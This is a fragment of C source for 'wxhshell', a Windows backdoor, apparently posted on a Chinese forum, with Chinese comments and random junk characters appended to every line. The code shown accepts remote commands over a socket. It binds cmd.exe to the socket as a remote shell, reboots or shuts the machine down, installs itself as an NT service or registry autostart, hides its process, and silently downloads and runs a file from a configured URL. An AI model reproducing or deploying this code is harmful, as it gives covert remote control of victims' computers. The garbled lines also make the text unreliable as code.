  % wRJ"T`Tt  
  // 帮助 .: 7h=neEW  
  case '?': { 7*XG]=z/  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3F}d,aB A  
    break; +N4h Q"  
  } 9Zrn(D  
  // 安装 *8XGo  
  case 'i': { .^kTb2$X  
    if(Install()) l:@.D|(o3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I )B2Z(<Q  
    else m Xw1%w[*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6!Isz1.re  
    break; 1xtbhk]D  
    } g dC=SFb b  
  // 卸载 "Ln\ZYB]  
  case 'r': { C1G Wi4)  
    if(Uninstall()) &2\.6rb.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y6j TT%  
    else %n}]$ d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0\Oeo8<7)~  
    break; R1q04Zj{2  
    } 8'cDK[L  
  // 显示 wxhshell 所在路径 kD; BwU[  
  case 'p': { FyS K&  
    char svExeFile[MAX_PATH]; 98O z  
    strcpy(svExeFile,"\n\r"); 1g/mzC   
      strcat(svExeFile,ExeFile); Bv=Z*"Fv  
        send(wsh,svExeFile,strlen(svExeFile),0); rfPJBD{Ve  
    break; *pWswcV/  
    } !E7/:t4  
  // 重启 ;%82Z4  
  case 'b': { d#z67Nl6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "{0kg'fU  
    if(Boot(REBOOT)) 3 S5QqAm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /r?X33D!  
    else { =C:0 ='a  
    closesocket(wsh); R\+$^G}#6  
    ExitThread(0); q{_buTARq  
    } lp]O8^][&  
    break; 7I.[1V`  
    } ?4~lA L1  
  // 关机 }M~AkJL  
  case 'd': { (?3( =+t  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?NwFpSB2  
    if(Boot(SHUTDOWN)) Q%>,5(_V]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r-V./M@L  
    else { l;;:3:  
    closesocket(wsh); W.CIyGK  
    ExitThread(0); >3Y&jsh<  
    } Je*gMq:D  
    break; w\QpQ~OX  
    } [,e_2<   
  // 获取shell 4i19HD_  
  case 's': { -FPl",f=r  
    CmdShell(wsh); +<|w|c  
    closesocket(wsh); B=p'2lla  
    ExitThread(0); ><DE1tG  
    break; a[JgR/E@x  
  } u@|yw)  
  // 退出 #\M<6n{  
  case 'x': { EagI)W!s[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fAm2ls7c  
    CloseIt(wsh); lk'RWy"pw  
    break; =Vv{td  
    } C/$IF M<  
  // 离开 L@ay4,e.bz  
  case 'q': { >pYgF =J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /za,&7sf  
    closesocket(wsh); BdYh:  
    WSACleanup(); 4q~E\l|.5  
    exit(1); &Y&zUfA  
    break; U9q*zP_jV  
        } c*W$wr  
  } 5u8Sxfm",  
  } }qg!Um0  
Tld{b  
  // 提示信息 >w'6ZDA*X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R's xa*VB  
} LSs={RD2+p  
  } Owr`ip\  
S&0x:VW  
  return; =osj}(  
} {J]|mxo  
,s)H%  
// shell模块句柄 ~E\CAZ  
int CmdShell(SOCKET sock) ^q6~xC,/  
{ iOyYf!yg  
STARTUPINFO si; *!Dzst-J3  
ZeroMemory(&si,sizeof(si)); (1o^Dn3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %|I|Mc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,yF)7fN  
PROCESS_INFORMATION ProcessInfo; MoA{ /{  
char cmdline[]="cmd"; I5~DC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o?3R HP47  
  return 0; cQR1v-Xt  
} +EB# #  
bODl q  
// 自身启动模式 7PMZt$n  
int StartFromService(void) y{N9.H2  
{ p%s D>1k  
typedef struct JjmL6(*ui  
{ 76m[o  
  DWORD ExitStatus; YJy*OS_&  
  DWORD PebBaseAddress; HT&0i,`  
  DWORD AffinityMask; zxh"@j$?  
  DWORD BasePriority; cm]]9z_<  
  ULONG UniqueProcessId; gr;M  
  ULONG InheritedFromUniqueProcessId; NR*SEbUU*  
}   PROCESS_BASIC_INFORMATION; >g[W@FhT'k  
QJ>>&`{ ,  
PROCNTQSIP NtQueryInformationProcess; *t_&im%E  
=6sXZ"_Tw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s :ruCS  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J-}NFWR;t  
~g{,W  
  HANDLE             hProcess; )=D&NO67Pq  
  PROCESS_BASIC_INFORMATION pbi; b>i=",i\  
w#e'K-=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AUC< m.  
  if(NULL == hInst ) return 0; >$y >  
FMn&2fH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +@Y[i."^J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +6=!ve}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {OOt+U!  
4(R2V]  
  if (!NtQueryInformationProcess) return 0; B /W$RcV  
F MVmH!E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oo!g?X[[  
  if(!hProcess) return 0; qo@dFKy  
/Uc*7Y5j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o >Lk`\  
US4Um>j  
  CloseHandle(hProcess); $ZS9CkN  
&f*dFUM]I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {#,FlR2  
if(hProcess==NULL) return 0; aM~fRra7  
f2wW2]Fg  
HMODULE hMod; W%1S:2+Kl  
char procName[255]; }>0 Kc=  
unsigned long cbNeeded; ~S3eatM$9  
\ax%I)3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }kj6hnQ  
{Fi@|'  
  CloseHandle(hProcess); :j ~5(K"  
7mM;Q  
if(strstr(procName,"services")) return 1; // 以服务启动 O[ !o1.  
u3vmC:bV  
  return 0; // 注册表启动 q3F5\6aN  
} ^mi4q[PM  
A-5 +#  
// 主模块 Q7|13^ |C  
int StartWxhshell(LPSTR lpCmdLine) !qlGt)G3  
{ mB{{o}'<u  
  SOCKET wsl; ??Zmj:8E'  
BOOL val=TRUE; vi8~j  
  int port=0; ^>Y%L(>  
  struct sockaddr_in door; "NU".q  
?N*0 S'dY  
  if(wscfg.ws_autoins) Install(); QCR-lxO1  
+,Az\aT/%  
port=atoi(lpCmdLine); |xVCl<{F%  
0>iFXw:fn  
if(port<=0) port=wscfg.ws_port; 3J T3;O  
U[b;#Y1X  
  WSADATA data; ]ufW61W6Ci  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bSf(DSqx  
Zjg\jo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "ILWIzf.]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?Z>.G{Wm@  
  door.sin_family = AF_INET; "!tw ,Gp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6[.Mx}h6  
  door.sin_port = htons(port); A+I&.\QAR  
J\3} il N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #[y<h3f]  
closesocket(wsl); N}fUBX4k  
return 1; N-`;\  
} hX m} d\  
ht)nx,e=  
  if(listen(wsl,2) == INVALID_SOCKET) { m>ycN  
closesocket(wsl); s&hA  
return 1; P]"d eB|  
} P/Kit?kngS  
  Wxhshell(wsl); hFMst%:y$  
  WSACleanup(); </gp3WQ.  
AwU c{h l<  
return 0; \oX8/-0f  
R:<@+z^A[  
} _-]!;0E IV  
*W12Rb2  
// 以NT服务方式启动 #}dVaXY)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v Q"s  
{ `8;,&<U'`  
DWORD   status = 0; hF"g 91P  
  DWORD   specificError = 0xfffffff; QO{=Wi-  
!y-2#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4;RCPC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m SzpRa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [fi'=Cb  
  serviceStatus.dwWin32ExitCode     = 0; `uh@iD'KI  
  serviceStatus.dwServiceSpecificExitCode = 0; |<-F|v9og  
  serviceStatus.dwCheckPoint       = 0; -I-Uh{)j  
  serviceStatus.dwWaitHint       = 0; *3O>J"  
zN+* R;Ds  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =kh>s$We  
  if (hServiceStatusHandle==0) return; >:E* 7  
u\R`IZ&O  
status = GetLastError(); lhoq3A  
  if (status!=NO_ERROR) d-;9L56{P  
{ .l+~)$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *fi;ZUPW3  
    serviceStatus.dwCheckPoint       = 0; EB5_;  
    serviceStatus.dwWaitHint       = 0; ny(GTKoUz  
    serviceStatus.dwWin32ExitCode     = status; !UoU#YU  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1@^Ek8C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b/B`&CIA0"  
    return; Y^2Qxo3"3  
  } u:$x6/t  
j- YJ."  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a4( ?]ND~6  
  serviceStatus.dwCheckPoint       = 0; ]}[Yf  
  serviceStatus.dwWaitHint       = 0; q|o |/O-{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y/,$Y]%g  
} b"M`@';+  
eh:}X}c=J]  
// 处理NT服务事件,比如:启动、停止 *Z`XG_s5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) eKVALUw  
{ w,Zx5bBg%  
switch(fdwControl) 0<@KDlF  
{ dA1 C)gLi  
case SERVICE_CONTROL_STOP: dHG  Io  
  serviceStatus.dwWin32ExitCode = 0; M6]0Y@@>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6 W;?8Z_1  
  serviceStatus.dwCheckPoint   = 0; bugFl>  
  serviceStatus.dwWaitHint     = 0; L; q)8Pb  
  { ;wXY3|@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W 9Vz[  
  } *el(+ib%  
  return; oWDSK^  
case SERVICE_CONTROL_PAUSE: /*AJr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nFe` <Al$N  
  break; m0 j|58~  
case SERVICE_CONTROL_CONTINUE: =1*%>K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; W&e'3gk_  
  break; cRh\USS  
case SERVICE_CONTROL_INTERROGATE: C~{NKMeC/m  
  break; K2xH'v O(  
}; =0h|yjnL/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0aC 2 Pym^  
} Y:%m;b$]  
drENkS=,  
// 标准应用程序主函数 |,;twj[?4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b+IOh|  
{ 3zB|!p C6s  
]Y4q'KH  
// 获取操作系统版本 > X[|c"l.  
OsIsNt=GetOsVer(); p9AZ9xr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X_u@D;$  
;h9-}F  
  // 从命令行安装 r+{d!CHq}  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4L=$K2R2r  
Dc.n-ipv$  
  // 下载执行文件 u3Usq=Ij{  
if(wscfg.ws_downexe) { +_ *eu  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x*me'?q  
  WinExec(wscfg.ws_filenam,SW_HIDE); dU oWo3r=  
} E+}GxFG-:  
4jX@m  
if(!OsIsNt) { &@YFje6Lcm  
// 如果时win9x,隐藏进程并且设置为注册表启动 n .f4z<  
HideProc(); AozmO  
StartWxhshell(lpCmdLine); @sw9A93A  
} Y^R?Q'  
else {gFAvMj #  
  if(StartFromService()) GS ;HtUQ  
  // 以服务方式启动 $A;7Em  
  StartServiceCtrlDispatcher(DispatchTable); C}b|2y  
else #y=ZP:{:t  
  // 普通方式启动 )o#6-K+b  
  StartWxhshell(lpCmdLine); /a[V!<"R  
y]}b?R~p=  
return 0; }_{y|NW  
}
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只看该作者 1 发表于: 2006-10-10
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